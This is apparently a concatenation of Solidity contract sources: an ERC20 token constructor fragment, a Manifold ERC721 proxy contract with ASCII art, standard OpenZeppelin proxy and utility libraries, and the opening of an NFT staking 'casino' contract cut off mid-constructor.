ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }

True

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// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Fa∴Fo As A Medium /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,7,,,,,,,,,Z,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.?~,,,,,,,,,,,,,,Z,,,,,,,,~,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,+,,,,,,,,,,,,,,,?$,,,,,,$,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=,,,,,,,..,,,,,,,,,,,,,,,,,,,,,,,.Z=,,,,,,~,,$,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,??,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,I,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,+,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,7.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:7,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,::ZZ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,=,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,O,,,,,,,,,7,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,O,:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:=.I~.==,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,~,.,,7,:,:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,I,?::,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,7,7,,,::,,=:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=I,,,,?,,$$=,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,7I~:$7,,,,+$,,7$,,,+,?7,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,7.I=,,?7,,=:$,,$7,~,,+I,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:~,,?,,,,7,,,,I7,:7~,,$=,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,7,,=,,,,77,777,,I$.$~7,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,$$.,$7=:,~?:,~$7:,~$,,7+,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,~~777,,$7,,~7$,,,:~7,,77,7I,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,7777,7+7,,,77,,,7:+,,77,+$,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,7I$77,,,7I,?:$,=,:$7:$+$:$7,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,7$,$7:,:++7,$777$7:$$7+,7,=7?,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,7$,$77,,,7~,,777,777777$:+,$7,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=,+77,$77,,77,7=,+,:7$7?,7:I,,7$,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:+:$$:77,,,I,=.7,,,,7,$,:777,77,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,777777$,,,~7$,,$=~,+=I7,,$7I77,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,$$777$+,,.?,,,$7,,,$.7:7$7777,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,7.:777,,,,,,,,:I==7I~$,?$777,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=,,$777,,,,,,,,$7=$$7,$7777$~,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,?:~777I,,,,,,,:$7~,=$,7,7777,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,I?77777?,,,,,:~,I$$?7,,?,777:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,$:77777$,,,,,~~?,?77.$7$:777,,,:77I,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,$7777777,,=,,,I,,,~77~?$$7777..7$I$7I,?,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,77I$7777~,,,,,,,+77?,,:I?:,,,77777$.,77I.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:7,,77777$.7$7777777,,=7,,,,:7777,,$7,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=7777,777$?7?,+$77$~,,,+,,,,,,777,,$I,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,7777777:$,,777I,~7:~,?,,77$7,$7,,77,,,+77$,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:,77$,,:,,,$777$,$7,I:+,,,~.,$I,=,77=,,?$$?,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,+~7~I,,,,,?777,=777$I7,,,,,,,,=:,777,,77I,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,?,7,7,,,~+,7$,777777$,:,,7$+,,,+777$,I7,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,?77,$=.7$7,,$77777?7,,,?7$?,,~,777,I7,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,+7+=,,,,,,,7~7$7I$7$,,77777,=:$777$,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=$77I7:.,+,:77:777$,::77I,,:=7777:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,77$7.,,77??7777$$,,,,,,,=77777$~,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:$$$7++$77I7?,,:7$7$,,,$7$77,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,::~,,,,.77+,,,,+777,,.7,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,7,,,7=77I,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,7,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,~,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // 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,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract QJG is ERC721Creator { constructor() ERC721Creator(unicode"Fa∴Fo As A Medium", "QJG") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }

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// SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "./NutsCoin.sol"; import "./DeezNuts.sol"; contract DeezNutsCasino is Ownable, IERC721Receiver, Pausable, ReentrancyGuard { using SafeMath for uint256; using SafeMath for uint128; // struct to store a stake's token, owner, and earning values struct Stake { uint16 tokenId; uint72 dailyRate; uint40 value; address owner; } event GambleOutcome(address sender, uint128 wonAmount); // reference to the DeezNuts NFT contract DeezNuts deezNutsNFT; // reference to the $NUTS contract for minting $NUTS earnings NutsCoin nuts; // maps tokenId to stake mapping(uint16 => Stake) public casinoEmployees; mapping(address => uint16[]) public ownershipMapping; // Each nuts earns 0 $NUTS per day uint256 public DAILY_NUTS_RATE = 0 ether; // there will only ever be (roughly) 6 billion $NUTS earned through staking uint256 public MAXIMUM_GLOBAL_NUTS = 6000000000 ether; // amount of $NUTS earned so far uint256 public totalNutsEarned; // the last time $NUTS was claimed uint256 public lastClaimTimestamp; uint256 public totalStaked; mapping(string => bytes32) public rootHashes; // emergency rescue to allow unstaking without any checks but without $NUTS bool public rescueEnabled = false; /** * @param _deezNuts reference to the DeezNuts NFT contract * @param _nuts reference to the $NUTS token */ constructor(address _deezNuts, address _nuts) { deezNutsNFT = DeezNuts(_deezNuts); nuts = NutsCoin(_nuts); totalStaked = 0; rootHashes["casinoBossRoot"] = 0xfa02561f4779941bd09da0d95b8cbe7480cc5e25f485cb9edae925fac99104d3; rootHashes["floorManagerRoot"] = 0xcd47c4886790fefc6bb37a6b059204c9203fe85fbd4582588497606a140876bd; rootHashes["blueNutRoot"] = 0xdd60bd53a57e91693a9cb50bde0c1f5305359d4d39038e53901d6b19b5a2245a; rootHashes["chefRoot"] = 0x29896d4e6dea9fcba447d1a01707916f541260e79b3f1d4eea4d1478740bd77f; rootHashes["djRoot"] = 0xbf1d196a3f6575e0131e833d783e01c25c32801c6ded2c0828b84656eb417aba; rootHashes["bartenderRoot"] = 0x5df7f1188bb0d1ae32808007d67dcc6f66cf238230653eb558ab508848f9dfb9; rootHashes["impersonatorRoot"] = 0xdacb828b187ddfab251c00861ea62b71b4e1f32590b080249a2b7cca85b3d71e; 